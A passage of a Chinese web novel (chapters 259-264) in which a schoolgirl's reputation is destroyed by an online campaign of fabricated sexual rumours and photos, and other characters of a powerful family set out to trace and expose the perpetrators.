“没问题。”少年放下书包,随手拿出一副黑边半框眼镜。 班长一脸好奇,“咦?你是近视眼吗?” 夏星沉笑了笑,“不是,只是偶尔需要。” 说着,他打开一本电子辞本,指尖飞快输入: -【老板,我考试通过了。】 对方回复很快。 -【这次的任务:傅绥尔。】 …… 第259章 纷争起 一场闹剧哄散,所有人各回各班。 高止麻溜地滚回了沈兰晞身边,留下苏灼显得尤其眨眼。 姜花衫、傅绥尔、沈眠枝三个人六双眼睛盯着他打量,苏灼一时有些尴尬,避开最不敢对视的那双,极不自然地说道,“上课了,你们怎么都站在这?” 傅绥尔,“你谁啊?刚刚为什么帮我们?” “哥!”苏妙气喘吁吁跑上前,一把搂住苏灼的胳膊,抬头挺胸,“他是我哥,傅绥尔注意你的态度,我哥哥刚刚帮了你们,你这是什么态度?” “你哥?”姜花衫一脸惊讶,“你哥不是个球吗?怎么缩水了?” 苏灼表情无奈。 苏妙大怒,她的哥哥自己可以说,别人不可以,正想开喷,沈眠枝拉了拉傅绥尔,略带歉意看向苏灼。 “刚刚多谢你帮忙,绥尔心直口快但并没有恶意,希望你别在意。” “切。”苏妙双手抱胸,“我骂……” 她话还没说完,苏灼眼里亮起小星星,“不在意,她们说什么我都不在意。” “……”苏妙气成了河豚。 沈眠枝微愣,却也没有放在心上,“上课了,我们先回教室了,下次有机会再当面道谢。” 傅绥尔抱着姜花衫的胳膊,三人走到二楼转台苏灼还在原地。 姜花衫若有所思,盯着苏灼的脸打量了许久。 傅绥尔早察觉到了姜花衫在观察苏灼,凑上前小声道,“我刚刚那么说话他都没生气,感觉他人还挺好的。” 说罢,意味深长看向一旁的沈眠枝。 姜花衫笑了笑,她倒不知以前的憨憨竟然变成了小精灵鬼,一眼就看破了细节。 苏灼? 姜花衫悠悠收回目光,她对这个人没什么记忆点,唯一的印象是在沈眠枝的葬礼上,他穿着一身黑西装,送了一只红玫瑰。后来他投身蓝海空军,一次空袭尸骨无存。 苏家因此元气大伤,苏家老爷子大病一场,身体远不如从前,再后来苏家又爆出真假千金的腌臜事,苏妙众叛亲离。 可是,刚刚看苏家两兄妹的相处,苏灼应该很喜欢这个假妹妹,如果他没有死,或许苏妙最后的结局也不会沦落到客死异乡。 “我先回去了。” 沈眠枝和她们不在一个班,转到三楼走廊一左一右。 “枝枝。”姜花衫迟疑了片刻,出声喊住她。 沈眠枝回头。 姜花衫指了指头顶,“记住,直面他!不论好坏。”说完,不等沈眠枝反应,拉着傅绥尔的手往教室走去。 “不论好坏?”沈眠枝低头口中喃喃自语。 * 教学楼下,苏灼还站在原地,直到那道身影完全消失才不舍收回了目光。 “哥。”苏妙双手抱胸,语气凉凉盯着苏灼,“你真的是来看我的吗?” 苏灼有些心虚,虚拳抵唇,轻咳了一声,“不然呢?” 苏妙眼睛微眯,“小时候我被军犬追着咬,你非得吃了手上的鸡腿才来救我,我们跑了三圈你才追上狗和我!刚刚那会儿是怎么了?凌波微步?你什么时候学的?” 苏灼拍了拍肩上的肩章,“我回去了。” “你站住!”刚转身,又被苏妙一把拽了回来,“你今天必须给我说明白!不然我告诉爷爷!” 苏灼担心苏妙乱说话,赶紧掏出手机,“前段时间不是说零花钱不够用吗?缺多少,我给你转。” “想拿钱收买我?” 苏灼,“你要不要?” 苏妙忽然想到周末还得想办法说服姜花衫跟她一起去拿结果,那花鲢鱼见钱眼开,没钱是万万不行。 “要。”苏妙二话不说掏出手机,打开收款码。 苏灼眼睛都不眨转了一笔巨款,“收了钱,以后就不许问了。” “妥。”苏妙美滋滋应下。 事情办完,苏灼也不便久留,指了指教室的方向,“上课了,快回去吧,我走了。” 上课铃已经响了一会儿了,这个时候回去也是迟到,但刚收了钱苏妙也不好忤逆,应付着拉着周绮珊往教学楼跑。 周绮珊回头看着苏灼,眼中略有些艳羡。 “阿灼哥对你真好。” 苏妙笑了笑,“因为他是我哥啊,阿珩哥对你不好吗?” 周绮珊遮掩笑了过去。 * 下午不知从哪吹起的风,关于萧澜兰的谣言突然全面爆发。 校内网,一篇《某新生代国民女神淫乱校园》的帖子忽然大爆,上面不仅详述了萧澜兰利用电视剧拍摄之便霸气欺辱同学的恶行,甚至还张贴出了她与多个男生举止亲昵,出入酒店的照片。 随着留言辱骂的信息量增多,各大社交媒体平台也纷纷曝光。 萧澜兰之前的形象是清纯玉女,网上立马掀起两极分化的骂仗,拥护她的粉丝顶着巨大压力替她辩解,谁知晚上又有大量萧澜兰霸凌的视频流出,视频里,女生们被践踏地毫无尊严,里面恶行令人发指。 很快,舆论一边倒,纷纷要求萧澜兰滚出娱乐圈,小印章们组成强大后援会,抵制萧澜兰出演。 墙倒众人推,萧澜兰掉落神坛的第二天,网上的黄谣铺天盖地。 数不清的网友声称与她有露水之情,甚至还贴出了打码的亲密私照。 这个时候真相已经不重要了,能与曾经的国民女神有桃色牵扯,哪怕是口嗨也足够这些猥琐男狂欢了。 谣言就是这么可怕,短短一天之内就让一个女生烙上了‘人尽可夫’的标签。 …… 第260章 恶有恶报 萧公馆。 “啪——” 萧启一巴掌狠狠甩在萧澜兰脸上,萧澜兰惨叫了一声跌倒在地。 “我做错了什么?你要打我?你打死我啊!” 长这么大,萧启还是第一次打她,相较于脸上的痛萧澜兰更多的是恨。 萧启举手还要打,沈娥一把推开男人,冲上前抱着萧澜兰,“萧启!你再敢打我的女儿,我们就离婚!” “你!”萧启痛心疾首,指着萧澜兰,“沈娥,你这个时候还护着她,她就是被你宠坏的!” 沈娥被这话激怒,起身推了萧启一把,“被我宠坏的?女儿这样你就没有一点责任吗?怎么出了事就怪我?” 萧启不耐,“够了!这个时候说这些还有什么用?赶紧把这丢人现眼的东西送出去。” 萧澜兰捂着脸,“我丢人现眼?觉得丢人就别管我啊!让我自生自灭。” 萧启怒火中烧,“不管你!不管你由着你跟野男人私会吗?你今天是不是又跑出去了?说!你去见谁了?” 萧澜兰情绪激动,随手拿起茶几上的果盘对着萧启砸了过去,“我没有!那些事我根本就没做过!你凭什么质问我,你去找他们啊!!!” 萧启没想到萧澜兰还敢还手,失望至极,口不择言,“我找谁?现在号称是你奸夫的排队都可以排到S国去了!我丢不起这人!” “萧启!”沈娥嘶声尖叫,“你给我闭嘴!” 萧澜兰原本还在歇斯底里反抗,听了这话突然一下失去了所有力气,她低头轻笑出声,“好,既然你们都不信我就别管我。” 说着,她扶着茶几起身。 “澜兰!”沈娥赶紧抱着她,“妈妈信你,别怕,我带你离开这里,我们离开……” 萧澜兰转头看向沈娥,“离开?你还是想听外公的话把我赶走,因为你们都觉得我是耻辱!可我凭什么走?我不走!我现在走就是落荒而逃!造谣者才罪该万死,为什么要责骂我?为什么你们不去杀了那些造谣的人?!” 从育才回来后,她满心期待等着父母为她报仇,可最终等来的却是她要被送出A国的消息。 她不甘心就这样被人摆布,于是偷偷联系了周宴珩,可她在咖啡馆等了一个下午周宴珩都没有出现。 萧澜兰心灰意冷,打算向沈娥坦白,可她刚回家萧启就动手打了她。 萧启深吸了一口气,“到现在你还不知错!你知道你惹了多大的祸吗?你大舅原本有望重回议员长之位,南湾渡口的风波还没下去,现在又闹出你这种丑闻,沈家的门只怕你永远都进不去了。” “我才不稀罕。”萧澜兰继续嘴硬,“外公早就盘算要把我送走,沈家不要我,我还不想认他们。” “愚不可及。澜兰,你还不明白吗?你的名声毁了,如此声名狼藉,哪个上流圈的人敢娶你?家族兴盛是每个人都应该肩负的责任,你不能给萧家带来利益,就注定要成为家族弃子。有沈家做保你还能体面,没了沈家以后谁还敬你一声萧小姐?” 萧澜兰怔愣,她从来没想过事情会这么严重。 “萧启你闭嘴!”沈娥不忍萧澜兰面对这些,抱着萧澜兰轻声安慰,“不会的,你外公不会不管的,他说过…沈家没有弃子…” 萧澜兰含泪笑出声,“没有弃子?把我送走不是弃子是什么?” 你们说的话,我一句都不信。 * 晚间,沈娥红着眼再次来到沈园,却被告知沈庄去了国会厅,首脑会议要开两天,会议期间外面的消息一律传不进去的,可如果再等两天,萧澜兰只怕会彻底钉在耻辱柱上。 沈娥急得差点晕过去。 非常时期非常手段,沈渊为免事情越闹越大,提议将萧澜兰连夜送出去,至于谣言,从热度最高的开始抓,凭着沈、萧两家的实力应该很快就会压下去。 沈娥已经完全失去了主心骨,含泪同意了沈渊的计划。可当萧澜兰知道母亲的处理方式后,再度暴走,甚至不惜割腕以死相逼,最后还是被萧启绑上了车。 萧澜兰的事影响恶劣,连带姜花衫、沈眠枝和傅绥尔都不可避免受到了连累,学校风言风语,三人不管走到哪都免不了被人恶意凝视。 事情发展到现在,最开心的莫过于傅潇潇了。 沈家这口恶气,她总算是出完了。 造谣是她让人传播的,视频也是她找导演组买断散布的,名利是把双刃剑,萧澜兰自带流量,那些黄谣就像瘟疫一样,一经传播就控制了人心。 真真假假,五分恶变成了十分,人们还觉得不够,再加十分才有戏剧性。 后面的事根本不劳她费心,人心向恶,水到渠成。 傅潇潇原本在家里养伤,但她舍不得错过千载难逢的看戏时机,坚持带伤上学,每每看见有人对着沈家姐妹指指点点,她就忍不住暗爽,哪怕笑起来肚子痛还是咬着牙笑。 傅文博见她这么执着也是没辙了。 * 网上的谣言像扑不灭的火,愈演愈烈。 关鹤刷着那些不入流的言论,啧啧摇头,“萧澜兰到底得罪了谁?现在只怕是跳进黄河也洗不清了。” 周宴珩事不关己,操控鼠标切换视角,一连击毙所有玩家才拆下耳麦。 “你刚刚说什么?” 关鹤扫了一眼大屏幕,瞠目结舌,“噢!两千多张地形图你都背下了?” 周宴珩没有回答,端起桌上的水杯。 “啧啧啧。你以前说你进军政学府是为了光明正大杀人,我还当你开玩笑,现在看怕不是真的?” 周宴珩垂眸,看着手中通透无痕的水波,没有回答。 关鹤也不在乎这个答案,拿出手机摆在他面前,“这件事是你弄的?” 一个号称《萧澜兰后宫》的帖吧大火,里面全是声称跟萧澜兰有过一夜情的睡友,他们在里面大肆分享各种‘萧澜兰’的私照、亲密照,照片的角度很刁钻,几乎每张都没有露脸,但某个角度看上去又特别契合。 周宴珩瞥了一眼,“假的。” 关鹤眼神暧昧,“你怎么知道是假的?你弄的?” 周宴珩抬眸看着关鹤。 关鹤尴尬笑了笑,“那天傅潇潇找上门你故意不见,还让他们透露你和萧澜兰的事,我还以为……” “以为什么?不过就是有点烦,想清净清净。傅潇潇要做什么,我哪管得着?” 好一招借刀杀人。 关鹤不服是不行了,对着照片研究了好久,半信半疑,“真不是你?” 周宴珩,“我没有这种XP” 关鹤摸了摸下巴,“不是你,哪会是谁?” 周宴珩放下水杯,“谁知道呢?不过连沈家的局都敢做,胆子不小。” “做局?” 周宴珩兴致缺缺,又重新开了一局。 关鹤睨眼打量他,“你上次说有新猎物了,是谁啊?” 周宴珩指尖一顿,巨大的屏幕爆出血花。 “Death……” 关鹤一愣,竟然在最喜欢的杀人游戏晃神,新猎物这么厉害的吗? “叮咚——” 这时手机跳出一条短信。 周宴珩摘下耳机,点开手机,脸色瞬间阴沉。 关鹤好奇,“怎么了?谁啊?” 周宴珩笑了笑,“萧澜兰。” 关鹤凑上前,“她找你做什么?” 周宴珩一边回复消息,一边漫不经心开口,“她说她怀了我的孩子,希望我能向大家证明她是无辜的,否则她就去周家求我爷爷给她一个交代。” “嗯!!??”关鹤倒吸了一口凉气。 萧澜兰怎么敢? 周宴珩眸光微暗,“真是找死。” …… 第261章 若我冷眼旁观 名为《萧澜兰后宫》的贴吧越来越火,甚至一个上午就传到了邻国的社交软件。 姜花衫坐在小院,一条一条翻看,里面的内容污言秽语不堪入目。最可气的是每过半个小时就会有上百条状更新,这场对于萧澜兰的凌迟之刑似乎没有尽头。 “姜小姐,你怎么了?”张茹见姜花衫脸色不好,一脸关切,“是不是在为萧小姐的事担心?” 姜花衫摇头。 她不是在为萧澜兰担心,而是忽然有一种不好的预感。 萧澜兰经历的这场黄谣,她上辈子也经历过,不同的是,上一世萧澜兰是施暴者,而现在却变成了受害者。 为什么原本会发生在她身上的事转移到了萧澜兰身上?是因为她能预见避开了,还是因为这件事发生在她身上和萧澜兰身上都不影响剧情? “不对!” 姜花衫越想越觉得不对劲,起身冲出了院子。 * “哗啦哗啦——” 浴室门推开,沈归灵一身水汽走了出来,他绕过床尾,解下松垮的腰带,黑色的浴袍顺着宽阔的直肩落到了劲窄的腰窝,俯下身时,腰间露出一侧匀称性感的线条,发梢晃动,湿润的水珠沿着背脊一直往下… “砰!” “沈龟灵!” 房门被大力破开。 沈归灵侧头,温润的眸光映出一双光彩熠熠的桃花眼。 “……” 雷行慢了一步,见沈归灵黑发潮湿,半身裸露,脸色未变,赶紧蒙住姜花衫的眼睛,“对不起少爷,姜小姐动作太快了,我没拦住。”说着,赶紧把门关上。 沈归灵看着床尾的黑色丝绸睡衣,沉默片刻,转身走进衣帽间换上了简单的黑裤白T。 他刚洗了澡,浴室里都是私人衣物,一想到姜花衫不可控,他直接锁了洗浴间的门。 做完这一切,沈归灵弯腰捡起地上的浴巾,一边擦头一边察看细节。 “沈龟灵,你好了没有啊?快点啊!换个衣服怎么磨磨蹭蹭的?” 不过等了三分钟,外面的祸坨子就已经开始不耐烦了。 沈归灵靠着门板,不急不慢擦着头发。 大约又过了一分钟。 ‘梆梆梆’—— 感觉她在生命捶门。 沈归灵认命,轻叹了一声,将浴巾挂在脖子上,转身打开房门。 房门刚打开一半,姜花衫就准备进,沈归灵用一只胳膊抵着门页,居高临下看着她,“现在已经是晚上八点了。” “所以呢?”姜花衫反问。 沈归灵直球,“我要睡觉了。” “什么!?你要跟别人睡觉了?”姜花衫一脸震惊,故意探头往卧室里瞧。 沈归灵被气笑了,他自认为情绪还算稳定,没想到被这祸坨子三言两语就挑拨了。 “你笑什么笑?你老实说,屋里是不是藏人了?你不让我进去我就去告诉爷爷。” 明知她这是激将法,偏偏还是被激了。 “搜完赶紧走。”沈归灵拉开房门,转身进了卧室。 姜花衫生怕沈归灵反悔,一个箭步窜进房间。 沈归灵慢步走到书柜前,随意抽出一张地图放在桌面上。 书房是半开放式,半透明的玻璃墙正好对着他床,床榻上还摆着原本要换的黑色丝绸睡衣。 他思忖片刻,走到床边,一边擦头发一边将睡衣塞进被窝。 “你在做什么?” 姜花衫凑上前。 霎时,沁脾花香扑鼻而来,这种温暖暧昧的裹挟让他脑子一下空白,白色的浴巾摩擦着半干的湿发从指尖脱落,再回神时,眼前的场景已经乱了。 相拥的身体、交缠的气息、还有隐蔽在被单里过界的触摸,那些被他用理智强行封印的欲望就这么轻易被撩动了。 沈归灵不自觉身体后仰,喉间青涩滚动,藏在被褥里的手掌紧紧抓着身下的睡衣。 姜花衫越看越不对劲,“你怎么了?” 沈归灵转过头,情绪淡淡,“我今天不舒服,没精力陪你胡闹,你回去吧。” “这次不是胡闹,我找你有正经事。”说着,她掏出手机,打开贴吧论坛,点开最新动态图,“诺,你看。” 沈归灵扫了一眼,眸底差点掀起风暴,“这就是你说的正经事?” 全是黄色废料。 姜花衫不满他的态度,“你再认真看看。” 沈归灵撇过头。 “你给我看!”姜花衫一把掰过他的头,拿着手机往脸上怼,“都说了是很重要的事,这些人每过半个小时就会更新新图,再这么下去,萧澜兰算是彻底毁了。” 沈归灵拗不过她,一把抢过手机,掌心抵着她的额头,“你坐好。” “噢。”有求于人,姜花衫忍着脾气坐好。 沈归灵随意滑动,粗略看了一分钟,大致了解了事情的原委。 他把手机扔给姜花衫,“你想让我帮忙找出造谣者?” “聪明。” 南湾那夜,沈归灵轻而易举就窃取了白峥电脑里的资料,所以姜花衫认定他有这个本事。 沈归灵,“查到又能怎样?能操控这么大的舆论,对方必有后手,你能抓到的也只是替罪羊。” “只要他们动了一次键盘,他们就不是替罪羊。” 沈归灵回味过来,“你想把参与者都抓起来?” 姜花衫点头,“他们以为法不责众,我偏偏要让这些阴暗的虫子无所遁形。” 沈归灵抬眸,不动声色打量她,“我记得你最讨厌萧澜兰了,为什么要帮她?” “很奇怪吗?”姜花衫略带思考,“那句话怎么说来着?今日我若冷眼旁观,他日祸临已身则无人为我摇旗呐喊,我不是帮她,我是在帮受害者。你知道一个女生要得到外界的认可有多难吗?相比起来毁了她却轻而易举,只需要一个不被证实的黄谣。 萧澜兰的确罪有应得,她也应该为自己犯下的错付出代价,但不应该是用这种方式。” 她曾身处泥泞中,所以知道被人泼满污秽有多可怕? 她并非要救萧澜兰,是不愿向过去的宿命妥协,因为哪怕她再憎恶萧澜兰,也绝不屑参与一场霸凌的狂欢。 …… 第262章 ‘霸王硬上弓\’(小修) 冬园。 傅绥尔揉了揉眼睛,推门而出。 “妈妈。” 沈娇正在主厅打电话,见女儿站在门外等候,她立马挂了电话。 “怎么了?” 傅绥尔小跑进屋,将手里的硬盘递给沈娇。 “妈妈,我仔细对比过了,这里面的人都是不同的女生,而且有些还是从废料网站上下载的网图,她们根本就不是萧澜兰,你能帮萧澜兰澄清吗?” 沈娇略有些意外,“绥尔,你想帮澜兰?” 傅绥尔摇头,“不是帮她,是帮自己。妈妈,是有人蓄意栽赃萧澜兰,他们真正的目的不是萧澜兰,是萧家或者是我们。” 这三年傅绥尔个头蹿了不少,已经跟沈娇差不多高了,这是沈娇第一次意识到,女儿真的长大了。 她没有隐瞒,点头应道,“萧家为了吞下金山那块地不断扩大经营,旗下公司更是新出了上百家公司,萧澜兰的消息一出,萧氏信誉大跌,股价全面崩盘,再这么掉下去,只怕只有让出经营权才能补上亏损了。” 傅绥尔这些年跟着孔茂林学了不少博弈之术,沈娇短短几句话她就明白了背后的深意。 有人想要萧家金山的地,所以拿萧澜兰做筏子。 傅绥尔微微思考了一下,神情凝重,“如果真是这样,这件事我们就更不能坐视不管了。 沈家跟萧家是姻亲,萧家陷入困境沈家理性帮忙,可是如果沈家出手,祸水东引,沈家的信誉也会受损。但如果沈家坐视不管,就等于被迫放弃了萧家这个盟友,放下一个萧家容易,难的是如何对其他盟友交待,若是失了公信,以后谁还敢跟我们一条心?” 沈娇摸了摸傅绥尔的脸,“就是这个道理。不过,这事也不难。” 傅绥尔一脸惊喜,“妈妈你有主意?” 沈娇,“我虽然看不惯二房那个蠢货,但沈家人还容不下外人欺负。这件事你舅舅他们自会查清,我就帮点小忙。” 傅绥尔虽然不知道沈娇说的小忙是什么?但她知道,母亲能说出口了,一定不会小。 * 春园。 沈眠枝正在跟沈让打电话, “爸爸,我查过了,他们用的都是加密的暗网IP,我怀疑是有人精心策划了这场布局,我删选了一些可疑账号,您让底下的人用暗线查查,应该很快就能锁定目标。” 沈让心情复杂,“枝枝,萧澜兰以前那么对你,你……怎么还帮她?你该不会……” 该不会又变成以前那个活佛女儿了? 沈眠枝失笑,温声解释,“爸爸,萧澜兰之所以愚蠢,是因她不懂一荣俱荣发一损俱损的道理。我是沈家的女儿,就算要报复她也不屑用这种下三滥的手段。如今爷爷不在,我们更应该守好自己的家。” 沈让说不出的欣慰,点头应好。 * 竹园。 沈归灵一瞬不瞬看着眼前的女孩儿,藏在被褥里的手掌慢慢卸力,指尖轻轻摩挲着被扯皱的丝绸。 气氛暧昧拉扯。 忽然,姜花衫咧嘴一笑,朝他眨眨眼,“怎么样?是不是被我的人格魅力感动了?要不要帮忙?” 沈归灵扯了扯嘴角,转过头,“没空。” 姜花衫嘴角僵住,“这你都不帮,你还有没有同理心?” 沈归灵,“我又不是女生,也不需要别人为我摇旗呐喊,萧澜兰是死是活跟我有什么关系?” 的确,忘记眼前这货是个绿茶黑心肝了,既然如此… 姜花衫站起身,捏了捏拳头,抬着下巴,“好,软的不吃就别怪我来硬的了。” 沈归灵扬起嘴角,花拳绣腿能有多硬? 正要抬眸,头顶突然出现一个巨大的黑影,没等他反应过来,姜花衫直接把他扑倒在床。 “!” 沈归灵大脑空白了一秒,恍神的第一反应就是逃。 但姜花衫早预判了他的预判,故意用膝盖顶着他的伤口。 “嘶。”沈归灵身子轻颤,为免她作怪,拉住身下的被子顶腰翻身,瞬间上下移位,姜花衫被裹成了球。 “你放开我!” “呵。”沈归灵低喘着气,咬牙,“你做什么?” 姜花衫被包在被子里施展不开,只能用嘴输出,“别忘了你的清白是谁拼死保下的?!早知道你这么不讲义气我就不该救你,不该替你保守秘密!你等着瞧,等爷爷回来我就告诉爷爷你偷了白峥的文件。” 沈归灵被气笑了,捏着她的下巴,“我的清白?所以你刚刚扑上来是想霸王硬上弓毁我清白?” 一般小姑娘哪还有脸回答,但姜花衫不一般,她发癫的时候向来没皮没脸,“没错。” 沈归灵眼皮跳了跳。 姜花衫像只毛毛虫在他身下蠕动,“你今天要不帮我,我就盯上……呜呜呜。” 沈归灵闭眼,拿起枕头捂住她的脸,他用了巧劲,刻意避开口鼻。 “我查,但我两个条件。” “呜呜。” “一,我帮你查了这件事,白峥的事你必须保密,谁都不能说。” “呜。” “二……”沈归灵眼眸微暗,低头在她耳边低诉,“以后不准随便爬我的床,不然……” 弄死你。 没听见回应,沈归灵扯下半边枕头,那被揉乱的半张脸鲜活的不像话。 两人目光对上,沈归灵感觉心口被烫了一下,他不想露出马脚,默默拉回枕头故作泰然自翻身下床。 姜花衫闭了闭眼,借着枕头的遮掩暗暗缓了一口气,可鼻间根本逃不过,就像海里的幽灵拽着她一直往下沉。 真的自己挖坑自己跳。 她压下眼中的幽暗,一口咬住枕头,在床上打滚,一直滚下床。 沈归灵靠着书房的玻璃墙,一副贞洁烈男的模样,“明天给你消息,你现在可以回去了。” “行。”姜花衫英姿飒爽,起身拍拍屁股,“那我走了。” “不送。” 似乎是怕姜花衫再纠缠,沈归灵转头进了洗浴间,没一会儿就传来反锁的声音。 “嗤…”姜花衫冷哼了一声,还真把自己当万人迷了。 她转身走进书房,路过书桌的时候好奇扫了一眼,目光怔忡。 这是…… 姜花衫脸色微变,回头看向洗浴间,赶紧掏出手机拍照,确认过后,头也不回出了卧房。 这边房门的锁刚合上,那边洗浴间里立马传来哗啦哗啦的流水声… …… 第263章 他惹你,你凶我? 竹园前院郁郁葱葱,月光穿过竹林洒下流光碎影颇有几分江湖路远的意境。 雷行拿着锄头在林间松土。 姜花衫思忖片刻,上前寒暄,“雷管家,种菜呢?” 雷行看着手里的花苗,笑着直起身,“姜小姐说笑了,这是花苗,我看阿灵少爷的阳台都装不下了,想着在这腾块地让少爷捣腾。” “是吗?”闻言,姜花衫转头看向洋房二楼的阳台。 沈归灵的房间是一栋单独的小洋楼,花蔓以阳台为中心向四周延伸,眼下正值秋季爆花期,花枝硕果累累竞相盛放。 当初还以为这交际花是为了借养花之名接近爷爷,没想到竟真被他学了出来。 姜花衫不禁对自己的记忆产生了怀疑, 上一世沈归灵养花吗?没有啊,他就养鱼,鲸港的贵女都在他的鱼池里。 她有点不信,“你是说,阳台那些花是沈龟灵养的?” 雷行点头,“阿灵少爷是个很温柔的人,平时不善交际就爱养养花。” “?”姜花衫觑了雷行一眼,“看来你对你家少爷也不是很了解啊。” 雷行有些不服,“我服侍少爷三年,还能有谁比我更了解少爷?” “是吗?那我考考你。”姜花衫佯装不经意,“你家少爷平时没事都喜欢做什么?” 雷行,“少爷极少空闲,偶尔休息的时候除了浇花就是看书。” “他平时很忙吗?忙什么?” 雷行想了想,“少爷孝顺,闲暇时间都会去看望夫人。” 果然会说话就懂艺术,明明是姚歌刁难沈龟灵,被雷行这么一润色说成了母慈子孝。 姜花衫看破不说破,“婶娘这么坏,沈龟灵一定很讨厌她吧?我就不喜欢她。” 雷行摇头,“少爷心善,对谁都温柔以待。” 姜花衫,“那大伯呢?他以前从来不管沈龟灵的,这次突然把他留在南湾养伤,沈龟灵就没说什么?” 雷行,“没有。少爷很开心。” 姜花衫轻咳了一声,“雷管家,我问你这些也是因为关心沈……阿灵哥哥。” 雷行点头,“明白,姜小姐这是关心,不是打听。” “?”姜花衫愣了一下,眯眼看着雷行。 雷行握拳抵唇轻咳了一声,默默指了指阳台的方向,“姜小姐,你刚刚打……关心的问题是少爷许我答的。” 姜花衫黑脸,转头看向阳台。 少年穿着黑色睡衣,风姿翩翩,俊美的脸上挂着肆意挑衅的笑。 “……”姜花衫气笑了一声,转头就走,忽然想到什么,又转回身,抬手捂着半张脸,指尖抵着眉头对着阳台竖起中指。 沈归灵眉梢微挑,不知想到什么?笑的更开心了。 “……” * “姜小姐,慢走啊,恕不远送。” “砰!” 姜花衫反手关上院门,雷行挂着一张老实巴交的好人脸吃了个闭门羹。 “笑笑笑,笑什么笑!被比中指还笑的出来,沈龟灵是变态吗?” 姜花衫一路骂骂咧咧,刚进游廊就与入园的沈兰晞迎面撞上了。 “……” 她先愣了一下,很快反应过来,抿嘴笑了笑,“这么巧?”说着抬腿就要走。 沈兰晞一把拽住她的手腕,“跑什么?” 现在是怎么回事,谁逮着她都敢问一问? 姜花衫挣开沈兰晞的手,把之前对沈龟灵的怒气一次转移,凶巴巴,“我跑怎么了?我在自家后花园跑步还有错了?” 高止转头看向沈兰晞,若是换个人他高低给对方一巴掌,但是姜花衫,他默默退后了三步。 沈兰晞面无表情,“你敢刚竹园出来,沈归灵惹你你凶我?” 姜花衫凶不下去了,沈兰晞这阴沉的样子倒有几分上一世的影子,她一直嫉恨过去,所以对沈兰晞总会有点偏见。 她对沈兰晞的态度很简单,在他没有做出真正伤害她的事之前她顶多就是气气他,可现在忽然看到熟悉的影子,姜花衫连欺负人的兴趣都没有了。 她冷笑了一声,转头就走。 沈兰晞也察觉出了姜花衫的变化,犹豫一秒,缓和住脸色把人拉住,“你站好,我话还没说完。” 姜花衫捂着半边耳朵,“我不想听。” 沈兰晞掰下她另外一只手,“这段时间,你别跑乱跳。” 姜花衫听出了他意有所指,眼珠斜睨,“什么意思?” 沈兰晞松开手,“萧澜兰的事一时半会还平息不了。你这段时间一定要谨言慎行,不要随意外出,也不要让人抓住把柄,至于学校的那些风言风语,你如果不爱听,我可以帮你请假。” 姜花衫品出了他的话外之意,暂时放下个人成见,“你怎么知道一时半会儿解决不了?你是不是查到什么了?” 沈归灵不欲多言,“这件事跟你没有关系,你只要记住我刚刚说的那些话就可以了。” 姜花衫思绪一顿,立马掐断了追问的心思。 沈兰晞这个人骄傲自大,在他眼里,她就是个只会耍无赖的小丫头片子,就算真有什么他也不屑多费唇舌。 “哦。”她一秒变冷淡,转头就走。 沈兰晞看着那背后长刺的身影,眸光浮过一抹黯色。 待人走远,高止默默往前两步,“少爷,姜小姐不识抬举,我去帮你教训她。” 沈兰晞转头看着他。 高止抬头望天,“少爷,你担心姜小姐其实可以直说的,这么绕来绕去很容易把自己绕死的。” 沈兰晞眼神凉薄,“我担心她?” 高止眼珠向下,看了沈兰晞一眼又立马撇开,“傅家泼这种脏水,沈园几位小姐很容易被波及,绥尔小姐有妈妈,眠枝小姐有爸爸,最护着姜小姐的老爷子眼下又不在,您不是因为担心姜小姐会吃亏才特意在这等着她的吗?” 结果看见人家从竹园出来就生气了,未经风霜的少爷啊,吃不了爱情的苦。 “自作聪明。”沈兰晞转身绕过高止,刚走两步又停了下来,神色冷淡,“你刚刚说直说?怎么直说?” 高止瞬间来了精神,一步跨到沈兰晞面前,“你得这么说……” 他清了清嗓音,眉头蠕动,“妹,你听哥说~哥站在这寒风中等了你一个小时,就是想告诉你,别怕,有哥在,哥会保护……” 沈兰晞眼睑微微抽动,转身走进游廊。 …… 第264章 审判剧目 回到菊园,姜花衫把自己锁在绣楼里,一边抱着小可怜一边翻看手机。 沈归灵竟然调查她?还把她五十二个账号都查出来了! 看着手机里的资料,姜花衫此刻心情复杂到了极点。 原本她还在疑惑,那么谨慎的一个人怎么会把这么重要的东西随便摆在桌子上,就好像等着人来偷一样,搞了半天,还真是等着她上门。 “可是他为什么要这么做呢?” 姜花衫单手托腮,指尖有意无意点着小可怜的龟壳。 沈归灵这么聪明,一定已经发现了她在暗暗调查沈谦和方眉,他不去向沈谦揭发她,反倒过来暴露自己,到底安的什么心? 小可怜被敲的有些烦了,伸出脑袋啄了一下龟壳。 警告! 姜花衫见状,直接把它掀翻挠肚皮。 “怎么感觉这次沈家上下所有人都猜到了萧澜兰的事不简单,如果是这样,这个剧情会怎么发展呢?” “衫衫!衫衫!” 就在姜花衫百思不得其解时,楼下传来傅绥尔的喊声。 姜花衫赤脚下床,从窗台探出头回应,“怎么了?咋咋呼呼的?” 傅绥尔扬着头,一脸急切,“出大事了。”说着慌慌张张跑上绣楼。 姜花衫刚打开房门,傅绥尔一把拉着她进卧室,“衫衫,出大事了。”说着,她拿出手机打开一段视频。 视频里: 萧澜兰神情哀切跪倒在地,她拽着周宴珩的裤脚哭的声嘶力竭,“周宴珩!你怎么能这么对我?我清白之身都给了你,你怎么还能说出这么残忍的话?” 周宴珩靠着车门,神情怜悯看着她。 喧闹的大街、天价兰博基尼、俊男靓女以及抓马的桃色对白。 流量要素齐全,短短一瞬间四周围满了看热闹的人。 “让让!让让!” 关鹤带着一群男男女女走进人群。 “这不是我们的女王澜兰姐吗?好端端的怎么跪在地上啊?” 萧澜兰平时嚣张跋扈得罪了不少人,如今她失势,被她欺负过的人也恨不得踩上一脚。 “哟!萧家好大的脸,竟然找周少当冤大头?” 男生们纷纷起哄,“阿珩哥肯定是看不上,但我不介意,要能当萧家姑爷,白认个儿子也行。” “萧大小姐,你这就不够意思了,S的时候找我,怎么认儿子这种好事就只想着阿珩哥?” 傅潇潇走出人群,故意挨近周宴珩,挑衅道,“萧澜兰,你别不要脸了,阿珩哥刚刚已经说的很清楚了,他跟你没有关系,你这么脏,阿珩哥才看不上你。” 这些人都是看周宴珩的脸色做事,没有他的默许,他们还没有胆子羞辱萧澜兰。 人的恶念是最可怕,看着曾经的女神如今像只狗跪在他们面前,这些人越发猖狂,言词也越发不入耳。 萧澜兰从未想过自己会有这么一天,她死死拽着周宴珩的裤脚,仰头看着他,“你说句话,说句话啊?孩子,我们的孩子你不要了吗?” 周宴珩神情温柔,“萧小姐,我没有认野种的癖好。” 